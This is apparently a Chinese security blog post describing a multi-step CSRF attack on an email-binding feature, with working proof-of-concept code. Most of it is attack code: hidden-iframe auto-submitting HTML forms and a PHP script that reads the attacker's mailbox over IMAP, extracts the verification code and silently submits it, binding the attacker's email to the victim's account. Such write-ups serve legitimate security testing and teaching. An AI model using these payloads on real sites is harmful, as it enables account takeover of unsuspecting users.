多步CSRF漏洞場景及其利用
CSRF的漏洞原理和利用方式這里就不多贅述了。平時大家討論的CSRF利用多是發(fā)送一次請求。比如CSRF刷粉絲,CSRF發(fā)微博。這里主要討論一個稍微復雜點的利用場景。
最近在做測試的時候遇到一個案例,用戶綁定郵箱的請求沒有防御CSRF。但是大家都知道綁定郵箱這個操作不是一步完成了。這次遇到的這個案例是這樣的。用戶發(fā)送一個申請綁定郵箱的請求,服務器給該郵箱發(fā)送一個驗證碼,然后用戶在頁面中輸入驗證碼完成綁定。
從上圖的路程中可以看出。按照常見的csrf的漏洞來說,這里是沒法利用的。因為即使我們偽造了請求,讓用戶發(fā)出了綁定申請的郵件,還需要用戶把這個驗證碼在頁面上輸入才行。經過更進一步的分析發(fā)現,圖中4這一步也是沒有防御CSRF的。也就是說我們可以偽造兩次請求來實現CSRF綁定郵箱。這樣一個場景就是比較典型的多步CSRF。
有了思路就可以開始寫demo了。最初的想法:是不是用兩個表單就可以了呢。
- <html>
- <body>
- <form id="form1" method="POST" action=" https://www.example.com/first.aspx">
- <input type="hidden" name="test1" value="1">
- <input type="submit" value="form1">
- </form>
- <form id="form2" method="POST" action=" https://www.example.com/second.aspx">
- <input type="hidden" name="test2" value="2">
- <input type="submit" value="form2">
- </form>
- <script>
- document.getElementById("form1").submit();
- window.setTimeout( function () { document.forms.form2.submit()}, 12000);
- </script>
- </body>
- </html>
測試發(fā)現這想法太天真了。***個表單提交之后,就會跳轉到返回的結果頁面了。第二個表單不會提交了。而且這里遇到的這個場景比較特殊,并不是僅僅是先后提交兩個表單就可以了。第二個表單里的值(驗證碼)是需要***個表單提交之后,從郵箱里讀出來再放到第二個表單里。經過查找資料。找到幾個解決方案。
解決方案1:
使用form的target屬性。target 屬性規(guī)定在何處打開 action URL。
根據查到的資料。默認是_self。所以會跳到結果頁。我們使用_blank試試。
- <html>
- <body>
- <form id="form1" method="POST" target=';_blank' action=" https://www.example.com/first.aspx">
- <input type="hidden" name="test1" value="1">
- <input type="submit" value="form1">
- </form>
- <form id="form2" method="POST" target='_blank' action=" https://www.example.com/second.aspx">
- <input type="hidden" name="test2" value="2">
- <input type="submit" value="form2">
- </form>
- <script>
- document.getElementById("form1").submit();
- window.setTimeout( function () { document.forms.form2.submit()}, 12000);
- </script>
- </body>
- </html>
這種方式可以實現兩次post的需求,不過太過暴力。需要新彈出窗口不說。彈出窗口也很可能被瀏覽器攔截掉。
解決方案2:
target可以選擇一個frame。framename 在指定的框架中打開。所以可以這樣寫。這樣子可以比較優(yōu)雅的發(fā)兩個post請求。
- <html>
- <body>
- <form id="form1" method="POST" target='csrfIframe1' action="https://www.baidu.com/first.aspx">
- <input type="hidden" name="test1" value="1">
- <input type="submit" value="form1">
- </form>
- <form id="form2" method="POST" target='csrfIframe2' action="https://www.baidu.com/second.aspx">
- <input type="hidden" name="test2" value="2">
- <input type="submit" value="form2">
- </form>
- window.onload = function() {
- document.getElementById("form1").submit();
- // to make 2nd form wait for 1st, put the following in a function and use as a callback for a new timer
- document.getElementById("form2").submit();
- }
- </script>
- <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe1"></iframe>
- <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe2"></iframe>
- </body> </html>
解決方案3:
使用iframe自然也是可以的。類似
- <iframe src="2post3.html" width="0" height="0">
- </iframe>
- <iframe src="2post4.html" width="0" height="0">
- </iframe>
##具體到郵箱驗證這個場景我使用了如下的一個poc。因為需要到郵箱中獲取驗證碼。所以使用了兩個文件。
文件1:發(fā)送申請郵箱綁定的請求:
- <html>
- <body>
- <!-- hidden iframes -->
- <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe1"></iframe>
- <form id="form1" action="http://xxxxxxxxxxx/security" method="POST" target="csrfIframe1">
- <input type="hidden" name="email" value="郵箱@qq.com" />
- </form>
- <script>
- document.getElementById("form1").submit();
- </script>
- <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe22" src="http://localhost/test/mail.php"></iframe>
- </body>
- </html>
文件2:iframe的文件需要去郵箱獲取驗證碼拼到表單里。
- <?php
- $mail = 'mail@qq.com';
- $mailPass = 'pass';
- sleep(2);//等待郵件發(fā)送
- //以騰訊企業(yè)郵箱做了測試
- $mailServer="imap.qq.com"; //IMAP主機
- $mailLink="{{$mailServer}:993/ssl}INBOX" ;
- $mailUser = $mail; //郵箱用戶名
- $mbox = imap_open($mailLink,$mailUser,$mailPass) or die("can't connect: " . imap_last_error()); //開啟信箱imap_open
- $totalrows = imap_num_msg($mbox);
- // echo $totalrows;//取得信件數
- $numcode = '';
- $mailBody = imap_fetchbody($mbox, $totalrows, 1); //獲取***的一封郵件
- $mailBody = base64_decode($mailBody);
- preg_match('/\d{6}/',$mailBody,$res);//匹配驗證碼
- $numcode = $res[0];
- echo $numcode;
- $form2 = '<html>
- <body>
- <form id="form2" action="http:xxxxxx" method="POST" target="csrfIframe2">
- <input type="hidden" name="captchacode" value="'.$numcode.'" />
- <input type="hidden" name="email" value="'.$mail.'" />
- </form>
- <script>
- document.getElementById("form2").submit();</script>
- </body>
- </html>';
- echo $form2;
如有雷同純屬巧合。參考資料:
http://blog.opensecurityresearch.com/2014/05/multi-stagedmulti-form-csrf.html
http://ceriksen.com/2012/09/29/two-stage-csrf-attacks/